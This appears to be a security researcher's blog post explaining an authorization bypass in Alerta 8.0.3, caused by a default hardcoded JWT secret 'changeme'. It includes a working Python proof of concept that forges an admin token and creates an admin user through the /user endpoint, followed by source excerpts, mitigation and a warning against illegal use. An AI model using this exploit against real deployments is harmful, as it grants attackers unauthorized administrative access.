How White-Box hacking works: Authorization Bypass in Alerta 8.0.3

We have bad news for vendors whose applications use hardcoded secrets, for example, to create and validate JSON Web Tokens within the authorization process. Most people can’t even imagine, how disappointed could be the vendor who acknowledged such an issue. I mean, such software architectural problems might lead to catastrophic disasters, and sometimes, in such situations, a vendor should try as hard as they can control themselves and make a decision – basically, whether the existence of this software is reasonable, or not.

It worth saying that most of the hackers know this issue but never exploited it. This case is a simple one, could be fixed, and on software that nobody cares about – so let’s check it out.

Proof of Concept

import jwt
from jwt import DecodeError, ExpiredSignature, InvalidAudience
import requests

encoded_jwt = jwt.encode({'iss': 'http://192.168.100.53/',
                          'typ': 'Bearer', 'sub': 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee',
                          'aud': 'http://192.168.100.53/',
                          'name': 'Billy',
                          'preferred_username': 'Whiskey',
                          'email': 'Jean',
                          'provider': 'basic',
                          'roles': ['user','admin'],
                          'scope': 'read write admin users',
                          'email_verified': True}, key='changeme')

url = "http://192.168.100.53:8081/user"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
                 "Accept": "application/json, text/plain, */*",
                 "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
                 "Accept-Encoding": "gzip, deflate",
                 "Content-Type": "application/json;charset=utf-8",
                 "Authorization": "Bearer " + encoded_jwt.decode("utf-8"),
                 "Origin": "http://192.168.100.53",
                 "Connection": "close",
                 "Referer": "http://192.168.100.53/users"}

json={"confirmPassword": "",
            "email": "user",
            "email_verified": True,
            "login": "user",
            "name": "user",
            "password": "lyhinslab",
            "roles": ["admin", "user", "guest"],
            "status": "active",
            "text": "ll"}

r = requests.post(url, headers=headers, json=json)

print (r.content)

Looks easy, feels the same. Just create a JWT with a “changeme” secret. Despite the loud name, Alerta software doesn’t inform users that they need to change this code. Unfortunately.

Bug discovery & exploitation

Firstly, we found that Alerta works on Python/Flask, and uses JWT.

Secondly, we found an endpoint that works with JWT. File: “alerta\auth\userinfo.py”.

import re

from flask import jsonify, request
from flask_cors import cross_origin

from alerta.auth.decorators import permission
from alerta.exceptions import ApiError
from alerta.models.enums import Scope
from alerta.models.token import Jwt

from . import auth


@auth.route('/userinfo', methods=['OPTIONS', 'GET'])
@cross_origin()
@permission(Scope.read_userinfo)
def userinfo():
    auth_header = request.headers.get('Authorization', '')
    m = re.match(r'Bearer (\S+)', auth_header)
    token = m.group(1) if m else None

    if token:
        return jsonify(Jwt.parse(token).serialize)
    else:
        raise ApiError('Missing authorization Bearer token', 401)

Thirdly, we checked the implementation of JWT in “alerta.models.token”. File: “alerta\models\token.py”, lines 41-52 and 113-116.

  @classmethod
    def parse(cls, token: str, key: str = None, verify: bool = True, algorithm: str = 'HS256') -> 'Jwt':
        try:
            json = jwt.decode(
                token,
                key=key or current_app.config['SECRET_KEY'],
                verify=verify,
                algorithms=algorithm,
                audience=current_app.config['OAUTH2_CLIENT_ID'] or current_app.config['SAML2_ENTITY_ID'] or absolute_url()
            )
        except (DecodeError, ExpiredSignature, InvalidAudience):
            raise
@property
    def tokenize(self) -> str:
        token = jwt.encode(self.serialize, key=current_app.config['SECRET_KEY'])
        return token.decode('unicode_escape')

Fourhtly, we made one more step and we were looking for current_app.config[‘SECRET_KEY’] . File:

#
# ***** ALERTA SERVER DEFAULT SETTINGS -- DO NOT MODIFY THIS FILE *****
#
# To override these settings use /etc/alertad.conf or the contents of the
# configuration file set by the environment variable ALERTA_SVR_CONF_FILE.
#
# Further information on settings can be found at https://docs.alerta.io

from typing import Any, Dict, List, Tuple  # noqa

DEBUG = False

BASE_URL = ''
USE_PROXYFIX = False
SECRET_KEY = 'changeme'

...

Worth paying attention is the recommendation to do not modify this file.

Finally, we wrote an exploit.

Mitigation

Change “SECRET_KEY” in config file to something more secure. Because you do this one-time, I recommend to choose a random 256-bit sequence for it.

Conclusion

Don’t ever use hardcoded secrets. That’s the whole point of this post.

LL advises to all the researchers do not break real applications illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.